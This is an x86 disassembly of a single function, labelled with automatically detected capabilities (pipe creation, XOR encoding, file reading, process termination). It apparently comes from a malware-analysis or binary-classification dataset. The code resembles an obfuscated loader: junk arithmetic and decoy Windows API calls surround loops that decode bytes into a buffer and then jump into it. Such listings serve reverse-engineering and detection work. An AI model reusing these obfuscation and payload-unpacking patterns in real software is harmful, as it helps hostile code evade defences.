Function at 0x404c15
Capabilities:
Create pipe
Encode data using xor
Read file on windows
Terminate process

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x28]
xor ecx, ecx
push ebx
mov dword [0x4f412c], eax
push ebp
mov dword [esp + 0x10], 0x132f
mov ebp, 0x15ef
push esi
mov dword [esp + 0x10], ecx
mov esi, 0x26c6
mov dword [esp + 0x34], ecx
mov dword [esp + 0x18], esi
push edi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x20], ecx
push 4
mov dword [esp + 0x28], ecx
mov eax, dword [esp + 0x24]
pop ebx
add eax, 0x2452
push 1
pop edx
cmp dword [esp + 0x14], eax
jge 0x4054f8
mov eax, dword [esp + 0x10]
add eax, 0x123f
cmp dword [esp + 0x1c], eax
je 0x404e51
add dword [esp + 0x18], 0x13ed
mov eax, dword [0x4f3ff4]
mov dword [0x4f4000], 0x14
mov dword [0x4f4004], ebx
mov dword [0x4f4014], 0x12
mov dword [eax + 0x20], ecx
mov eax, dword [0x4f3ff4]
mov dword [0x4f402c], edx
mov dword [0x4f403c], 3
mov dword [0x4f4040], edx
mov dword [eax + 0x5c], ecx
mov eax, dword [0x4f3ff4]
mov dword [0x4f4070], ecx
mov dword [0x4f4060], ebx
mov dword [0x4f4068], edx
mov dword [0x4f4074], edx
mov dword [eax + 0x90], edx
mov eax, dword [0x4f3ff4]
mov dword [0x4f4098], ecx
mov dword [0x4f4090], 0x3c
mov dword [eax + 0xac], 0x48
mov eax, dword [0x4f3ff4]
mov dword [0x4f40bc], ecx
mov dword [0x4f40d0], edx
mov dword [eax + 0xdc], 0x37
mov eax, dword [0x4f3ff4]
mov dword [eax + 0xe0], ecx
mov eax, dword [0x4f3ff4]
mov dword [0x4f40e0], ecx
mov dword [0x4f40f4], ecx
mov dword [0x4f4104], ecx
mov dword [0x4f40ec], edx
mov dword [0x4f4100], 0x18
mov dword [eax + 0x110], 0x30
mov eax, dword [0x4f3ff4]
mov dword [eax + 0x114], 0x1d
mov eax, dword [0x4f3ff4]
mov dword [0x4f4118], ecx
mov dword [0x4f4110], edx
mov dword [0x4f411c], edx
mov ecx, dword [eax + 0x90]
mov eax, dword [0x4f4060]
add eax, 0x6121
add eax, ecx
mov ecx, dword [0x4f40ec]
xor ecx, dword [0x4f410c]
mov dword [0x4f4060], eax
mov eax, dword [0x4f40e0]
add eax, 0x146d6a
add eax, ecx
mov dword [0x4f40e0], eax
add dword [esp + 0x14], 0x27c1
xor dword [esp + 0x38], 0x161f
mov ecx, dword [0x4f3ff4]
mov eax, dword [0x4f4000]
add eax, 0x18c92b
or dword [ecx + 0x7c], eax
add dword [esp + 0x14], 0xffffee5e
mov eax, dword [esp + 0x1c]
add eax, 0xfffff97c
cmp dword [esp + 0x10], eax
jge 0x4051f9
add dword [esp + 0x14], 0xe33
mov ecx, dword [0x4f40d0]
mov eax, dword [0x4f3ff4]
add ecx, 0xfb701
add dword [0x4f4004], ecx
mov ecx, dword [0x4f4104]
cmp ecx, dword [0x4f40d4]
jae 0x404e3c
mov ecx, dword [eax + 0x34]
mov eax, dword [0x4f4070]
add eax, 0x13ffc9
add eax, ecx
mov dword [0x4f403c], eax
jmp 0x4051f9
mov eax, dword [eax + 0xf4]
add eax, ecx
imul eax, ecx
mov dword [0x4f4104], eax
jmp 0x4051f9
mov ecx, dword [esp + 0x10]
imul ecx, dword [0x4f4118]
mov eax, dword [0x4f3ff4]
cmp dword [eax + 0x104], ecx
jb 0x4051cb
mov eax, dword [esp + 0x24]
mov ecx, 0x161f
sub ecx, eax
mov eax, dword [esp + 0x24]
add eax, ecx
cmp dword [0x4f40e0], eax
ja 0x4051b6
push 0x99b
push 0x14e7
push 0x2e64
call fcn.00412577
mov dword [0x4f4b7c], eax
add esp, 0xc
mov eax, dword [esp + 0x10]
xor eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [0x4f3ff4]
mov eax, dword [esp + 0x20]
imul eax, dword [ecx + 0x28]
mov edx, dword [ecx + 0xbc]
xor edx, dword [ecx + 0x18]
sub edx, dword [0x4f40f0]
xor eax, esi
push eax
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov edi, dword [esp + 0x24]
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x38]
add esi, 0x369
mov eax, dword [esp + 0x20]
mov ecx, dword [0x4f4100]
xor edx, dword [0x4f403c]
sub ecx, eax
mov eax, dword [esp + 0x38]
and eax, dword [0x4f401c]
and ecx, dword [0x4f4060]
xor edi, dword [0x4f4060]
push eax
push ecx
push edx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov esi, dword [esp + 0x38]
mov ecx, dword [esp + 0x38]
mov eax, dword [0x4f3ff4]
xor ecx, dword [0x4f4040]
xor esi, dword [0x4f4004]
imul esi, dword [0x4f4000]
mov edx, dword [eax + 0xac]
and edx, ecx
imul ecx, dword [esp + 0x1c], 0x1b69
mov eax, dword [esp + 0x14]
and eax, 0xfe5
xor eax, ebp
mov ebp, 0x4f3ff8
push eax
push ecx
push edx
push ebp
push esi
call fcn.0040472b
mov ecx, dword [0x4f3ff4]
add esp, 0x14
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x18]
or eax, dword [ecx + 0x34]
xor dword [0x4f4110], eax
mov eax, dword [esp + 0x10]
and eax, dword [esp + 0x14]
imul ebx, dword [esp + 0x1c], 0x2ead1d7
imul eax, dword [0x4f4000]
mov esi, dword [esp + 0x24]
mov edi, dword [0x4f4018]
xor edi, dword [0x4f410c]
sub esi, dword [0x4f40d0]
mov dword [0x4f4000], eax
mov eax, dword [esp + 0x10]
mov edx, dword [0x4f40d0]
mov ecx, dword [esp + 0x1c]
sub edx, eax
xor ecx, dword [0x4f4068]
mov eax, dword [esp + 0x14]
imul eax, ecx
push eax
push edx
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x4f3ff4]
mov ecx, dword [eax + 0x118]
add ecx, dword [0x4f40a0]
or ecx, dword [eax + 0xc0]
add dword [esp + 0x20], ecx
mov eax, dword [esp + 0x20]
mov esi, dword [esp + 0x24]
xor eax, 0x1b3f
mov edx, dword [esp + 0x20]
and esi, eax
mov ecx, dword [esp + 0x38]
mov eax, dword [0x4f3ff4]
add edx, dword [0x4f408c]
imul edx, dword [0x4f4034]
sub ecx, dword [eax + 0x34]
mov eax, dword [0x4f3ff4]
and ecx, dword [0x4f4018]
mov eax, dword [eax + 0x48]
sub eax, dword [0x4f4088]
add eax, dword [0x4f4100]
push eax
push ecx
push edx
push ebp
push esi
call fcn.0040472b
mov dword [esp + 0x30], eax
mov eax, 0x7a1
sub eax, dword [0x4f4098]
add dword [esp + 0x4c], eax
mov eax, dword [esp + 0x2c]
or eax, dword [0x4f4104]
mov ecx, dword [0x4f4000]
sub ecx, eax
add dword [esp + 0x2c], ecx
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x24]
and ecx, eax
add dword [esp + 0x4c], ecx
mov eax, dword [0x4f4018]
add eax, 0x132f
and eax, dword [0x4f4108]
xor dword [esp + 0x24], eax
mov ecx, dword [esp + 0x24]
mov ebx, dword [esp + 0x34]
sub ebx, dword [esp + 0x28]
mov edi, dword [esp + 0x28]
or ebx, 0x20e9
xor edi, dword [esp + 0x2c]
mov eax, dword [0x4f3ff4]
mov edx, dword [0x4f3ff4]
mov ebp, dword [0x4f3ff4]
or ecx, dword [eax + 0x7c]
mov eax, dword [edx + 0xfc]
imul eax, dword [0x4f4100]
mov esi, dword [edx + 0xa0]
xor esi, dword [0x4f40a0]
mov dword [esp + 0x4c], ecx
xor esi, 0x1b3c
mov ecx, dword [edx + 0x68]
sub ecx, dword [0x4f40a0]
push eax
or ecx, 0x2452
push ecx
push esi
push edi
push ebx
push ebp
push dword [esp + 0x64]
call fcn.00412d65
mov dword [esp + 0x68], eax
add esp, 0x30
mov eax, dword [esp + 0x20]
sub eax, dword [0x4f4058]
mov ebp, dword [esp + 0x1c]
imul eax, eax, 0x252e
mov dword [esp + 0x28], eax
mov ebx, dword [esp + 0x1c]
mov edi, dword [esp + 0x20]
add edi, dword [esp + 0x38]
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x24]
or edx, 0x15ef
imul eax, dword [0x4f4074], 0x2208
imul ecx, dword [0x4f4108]
mov esi, dword [0x4f4090]
or esi, dword [0x4f4108]
sub edx, dword [0x4f4110]
xor ebp, dword [0x4f40e4]
or esi, dword [0x4f4110]
imul ebp, dword [0x4f4074]
xor ebx, dword [0x4f40d0]
push eax
push ecx
push edx
push esi
push edi
push ebx
push ebp
push dword [esp + 0x44]
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov eax, dword [esp + 0x14]
add eax, dword [esp + 0x14]
xor eax, 0x1b3c
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [esp + 0x38]
or eax, dword [0x4f4094]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
mov ebp, 0x15ef
jmp 0x4051f9
mov eax, dword [0x4f3ff4]
mov ecx, dword [esp + 0x38]
or ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
jmp 0x4051f9
mov ecx, dword [esp + 0x10]
mov eax, dword [0x4f3ff4]
add ecx, 0xffffecd1
mov eax, dword [eax + 0x68]
xor eax, ecx
cmp dword [esp + 0x18], eax
jbe 0x4051f9
mov eax, dword [0x4f410c]
add eax, 0xffffdb15
xor eax, dword [0x4f40f4]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffa23
cmp dword [esp + 0x38], eax
jge 0x4054f6
cmp dword [0x4f4040], 0x5191
jae 0x405224
mov eax, dword [0x4f4090]
add eax, 0x1388a3
jmp 0x40522e
mov eax, dword [0x4f4068]
add eax, 0xfffde57d
mov ebp, dword [esp + 0x18]
mov edi, dword [esp + 0x18]
sub ebp, 0x13ed
mov esi, dword [esp + 0x1c]
xor edi, 0x34e
mov edx, dword [esp + 0x24]
sub esi, 0xf7f
mov ecx, dword [esp + 0x18]
add edx, 0x26c6
mov ebx, dword [0x4f3ff4]
sub ecx, 0x2ca
mov dword [0x4f411c], eax
mov eax, dword [esp + 0x38]
xor eax, 0x3417
push eax
push ecx
push edx
push esi
push edi
push ebx
push ebp
call fcn.00412d65
mov ecx, dword [0x4f3ff4]
mov ebp, 0x15ef
mov dword [esp + 0x38], eax
mov eax, dword [0x4f402c]
xor eax, dword [0x4f4070]
mov ebx, dword [esp + 0x40]
xor eax, 0xdd4
sub dword [0x4f4044], eax
add ebx, 0x26fe
mov edi, dword [esp + 0x54]
mov eax, 0x13d5cb
sub eax, dword [0x4f403c]
sub edi, 0x30
mov esi, dword [esp + 0x54]
add dword [ecx + 0x4c], eax
add esi, 0xbe9
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x34]
add edx, 0x132f
mov eax, dword [esp + 0x3c]
xor ecx, 0x3523
xor eax, ebp
push eax
push ecx
push edx
push 0x4f3ff8
push esi
push edi
push ebx
call fcn.00405ada
mov dword [esp + 0x48], eax
add esp, 0x38
mov eax, dword [0x4f3ff4]
mov ecx, dword [eax + 0x68]
mov eax, dword [0x4f4078]
add ecx, dword [0x4f40bc]
add eax, 0xf82a4
add eax, ecx
mov dword [0x4f4078], eax
add dword [esp + 0x38], 0xa23
mov eax, dword [esp + 0x14]
xor dword [0x4f4078], 0x83951
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x18]
xor eax, 0x3adc
cmp dword [esp + 0x1c], eax
jg 0x4054f6
cmp dword [0x4f4100], 0x176ff
jb 0x405367
mov eax, dword [0x4f4040]
add eax, 0xdda3cc8
xor dword [0x4f4078], eax
add dword [esp + 0x10], 0x1445
mov eax, dword [0x4f4118]
cmp eax, dword [0x4f4098]
jb 0x405388
mov dword [0x4f40ac], 0x43f7b8
jmp 0x405392
add dword [0x4f4104], 0x19d2f
mov edx, dword [0x4f3ff4]
xor esi, esi
mov eax, dword [0x4f4004]
sub eax, dword [0x4f40d4]
xor eax, 0xfb6cf
sub dword [edx + 0x10c], eax
mov ecx, dword [0x4f3ff4]
mov eax, dword [ecx + 0xb4]
mov ebx, dword [esi + eax]
add esi, 4
mov eax, dword [ecx + 0xe8]
xor eax, dword [0x4f4074]
sub eax, 0x13e42d
add dword [ecx + 0x120], eax
mov eax, dword [0x4f3ff4]
imul ebx, dword [0x4f4078]
mov ecx, dword [eax + 0x90]
mov eax, dword [0x4f4108]
dec eax
mov edx, ebx
add eax, ecx
shr edx, 8
mov ecx, dword [0x4f407c]
mov dword [0x4f4108], eax
mov eax, dword [0x4f40b0]
mov byte [ecx + eax], dl
mov ecx, dword [0x4f407c]
mov eax, dword [0x4f40b0]
inc ecx
mov dword [0x4f407c], ecx
mov byte [ecx + eax], bl
mov edx, dword [0x4f40e0]
add edx, dword [0x4f40bc]
mov ecx, dword [0x4f3ff4]
inc dword [0x4f407c]
mov dword [0x4f40e0], edx
mov eax, dword [ecx + 0x20]
add eax, dword [0x4f4100]
xor eax, 0x8e8bf
or dword [0x4f4014], eax
lea eax, [edx - 0xb2d12]
or dword [ecx + 0x68], eax
mov eax, dword [0x4f4018]
add eax, dword [0x4f4104]
sub dword [0x4f40a4], eax
mov eax, dword [0x4f40d8]
or dword [0x4f4070], eax
mov edx, dword [0x4f3ff4]
mov eax, dword [0x4f403c]
add eax, 0xffec0036
xor dword [0x4f4108], eax
mov eax, 0xffe85340
mov ecx, dword [edx + 0x7c]
xor ecx, dword [0x4f4060]
sub eax, ecx
add dword [0x4f40e0], eax
mov eax, dword [edx + 0x90]
sub eax, dword [edx + 0xe8]
add eax, 0xb2d12
imul eax, dword [0x4f4074]
mov dword [0x4f4074], eax
cmp esi, 0x9318
jl 0x40539a
mov eax, dword [edx + 0x48]
cmp eax, dword [0x4f40d0]
jae 0x4054e0
xor dword [edx + 0x5c], 0xac0d
jmp 0x4054f6
mov ecx, dword [edx + 0x90]
mov eax, dword [edx + 0x1c]
add ecx, 0x5f02a38e
add eax, ecx
mov dword [0x4f4078], eax
xor ecx, ecx
mov eax, dword [esp + 0x38]
add eax, 0xfffff5ad
cmp dword [esp + 0x18], eax
jle 0x4057a6
mov eax, dword [esp + 0x10]
xor eax, 0x309b
cmp dword [esp + 0x14], eax
jl 0x405673
mov eax, dword [esp + 0x1c]
add eax, 0x10df
cmp dword [esp + 0x14], eax
jg 0x40554c
mov eax, dword [esp + 0x14]
add eax, 0xfffff2f5
cmp dword [esp + 0x20], eax
je 0x40554c
xor dword [esp + 0x38], 0x2fa7
xor dword [esp + 0x20], 0x2208
mov eax, dword [esp + 0x24]
xor eax, ebp
cmp dword [esp + 0x10], eax
je 0x405673
add dword [esp + 0x10], 0xfffff4bb
mov eax, 0x4c5950
cmp dword [0x4f4074], 0x2633
mov ebx, ecx
cmovb eax, dword [0x4f40ac]
mov dword [0x4f40ac], eax
add dword [esp + 0x14], 0xfffff2f5
mov ecx, dword [0x4f3ff4]
mov eax, dword [0x4f402c]
xor eax, 1
push 0x1d
add dword [ecx + 0x10c], eax
mov eax, dword [0x4f40ac]
movzx edx, byte [0x4f4078]
mov ecx, dword [ebx + eax]
add ebx, 4
mov eax, dword [0x4f40d8]
sub dword [0x4f4098], eax
movzx eax, cl
mov ecx, dword [0x4f407c]
imul edx, eax
mov eax, dword [0x4f40b0]
mov byte [ecx + eax], dl
mov eax, dword [0x4f4070]
mov edi, dword [0x4f3ff4]
add eax, 0xffe736c1
inc dword [0x4f407c]
pop ecx
sub ecx, dword [0x4f410c]
add eax, ecx
mov ecx, dword [0x4f4000]
add eax, dword [0x4f4074]
mov dword [0x4f4070], eax
mov eax, dword [edi + 0x1c]
sub eax, 0x11
imul eax, dword [0x4f410c]
mov dword [0x4f410c], eax
mov eax, dword [0x4f4060]
add eax, ecx
xor eax, 0xfff09a93
or dword [0x4f4040], eax
sub ecx, dword [edi + 0xc]
mov eax, dword [0x4f4100]
xor ecx, 0xfff0490e
add eax, ecx
mov ecx, dword [0x4f402c]
xor ecx, eax
mov eax, 0x18c93f
sub eax, dword [0x4f4074]
xor ecx, 1
add dword [0x4f4090], eax
mov eax, dword [0x4f4098]
sub eax, dword [0x4f4104]
mov dword [0x4f4100], ecx
xor dword [edi + 0xd8], eax
cmp ebx, 0x3120
jl 0x405589
mov eax, dword [esp + 0x1c]
add eax, 0xbe9
cmp dword [esp + 0x38], eax
jg 0x40569b
add dword [esp + 0x24], ebp
mov eax, dword [0x4f411c]
add eax, dword [0x4f4018]
xor eax, 0xc7586924
mov dword [0x4f4078], eax
add dword [esp + 0x38], 0x63a
add dword [esp + 0x18], 0xa5
mov eax, dword [0x4f3ff4]
mov dword [eax + 0xb4], 0x448c48
add dword [esp + 0x18], 0xfffff881
xor esi, esi
mov edi, esi
mov eax, dword [0x4f40ac]
mov ecx, dword [0x4f3ff4]
mov ebx, dword [edi + eax]
add edi, 4
mov eax, dword [0x4f4018]
imul ebx, dword [0x4f4078]
inc eax
imul eax, dword [0x4f4110]
mov edx, ebx
mov dword [0x4f4110], eax
mov eax, dword [ecx + 0x118]
sub eax, 0x160c63
shr edx, 8
imul eax, dword [0x4f40bc]
mov dword [0x4f40bc], eax
mov ecx, dword [ecx + 0x84]
mov eax, dword [0x4f40b0]
mov byte [eax + ecx], dl
mov eax, dword [0x4f3ff4]
inc dword [eax + 0x84]
mov ecx, dword [0x4f407c]
mov eax, dword [0x4f40b0]
mov byte [ecx + eax], bl
mov eax, dword [0x4f4070]
sub eax, dword [0x4f4098]
inc dword [0x4f407c]
inc eax
imul eax, dword [0x4f4060]
mov ecx, dword [0x4f3ff4]
mov dword [0x4f4060], eax
mov eax, dword [ecx + 0xac]
xor eax, 0x48
or dword [0x4f4074], eax
mov eax, dword [0x4f40ec]
add eax, 0x194c18
or dword [ecx + 8], eax
mov eax, 0xfff09a7f
sub eax, dword [0x4f4060]
add dword [0x4f411c], eax
mov ecx, dword [0x4f3ff4]
mov eax, dword [0x4f4108]
xor eax, 0x30
add dword [ecx + 0xd8], eax
cmp edi, 0x1860
jl 0x4056c6
jmp 0x4057a8
xor esi, esi
mov eax, dword [esp + 0x1c]
add eax, 0xfffffc20
cmp dword [esp + 0x38], eax
jle 0x405969
mov eax, dword [esp + 0x24]
add eax, 0xfffff9f6
cmp dword [esp + 0x1c], eax
jl 0x405969
mov eax, dword [esp + 0x1c]
add eax, 0xfffff9c6
cmp dword [esp + 0x38], eax
je 0x405900
mov eax, dword [0x4f3ff4]
mov dword [eax + 0x100], 0x4f3ff8
add dword [esp + 0x20], 0xfffff934
mov ecx, dword [0x4f4014]
mov edx, dword [0x4f3ff4]
mov eax, dword [0x4f4104]
sub dword [0x4f403c], eax
mov eax, dword [edx + 0x98]
add eax, 0x190e11
xor ecx, eax
mov dword [0x4f4014], ecx
xor ecx, dword [0x4f4018]
push 0x12
pop eax
sub eax, ecx
add dword [0x4f40d4], eax
mov eax, dword [0x4f40d8]
inc eax
imul eax, dword [edx + 0x124]
mov dword [edx + 0x124], eax
mov ecx, dword [0x4f40c4]
mov eax, dword [0x4f409c]
xor dword [esi + ecx], eax
add esi, 4
mov edx, dword [0x4f3ff4]
mov eax, dword [edx + 0x1c]
xor eax, dword [0x4f4074]
xor eax, 0x18c92d
or dword [0x4f4088], eax
mov ecx, dword [edx + 0x7c]
mov eax, dword [0x4f40c8]
sub ecx, 0x18c93e
imul ecx, dword [0x4f4014]
add dword [0x4f409c], eax
mov dword [0x4f4014], ecx
cmp esi, 0x4c58c
jl 0x405804
mov eax, dword [0x4f4090]
mov edx, dword [0x4f40c4]
mov dword [0x4f40a8], edx
cmp eax, dword [0x4f4100]
jae 0x4058cf
mov eax, dword [0x4f4118]
xor eax, dword [0x4f40d0]
add eax, 0x286b
xor dword [0x4f4004], eax
jmp 0x4058ee
push dword [0x4f412c]
mov eax, dword [0x4f4114]
add eax, dword [0x4f40b0]
push eax
push dword [0x4f40f8]
call edx
mov dword [0x4f40e8], eax
add dword [esp + 0x24], 0xc19
add dword [esp + 0x38], 0x7a1
jmp 0x405969
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
add eax, 0x4410
imul eax, dword [0x4f4124]
add ecx, dword [0x4f4100]
mov dword [0x4f4124], eax
mov eax, dword [esp + 0x10]
add eax, 0x26c6
add eax, ecx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
and eax, dword [0x4f4108]
xor dword [0x4f40f4], eax
mov ecx, dword [esp + 0x24]
mov eax, dword [0x4f4070]
add eax, 0x26fe
add eax, ecx
cmp dword [esp + 0x18], eax
ja 0x405969
mov eax, dword [0x4f408c]
sub eax, dword [0x4f4128]
xor eax, dword [0x4f4118]
sub dword [esp + 0x10], eax
push dword [0x4f40e8]
call dword [sym.imp.KERNEL32.dll_ExitProcess]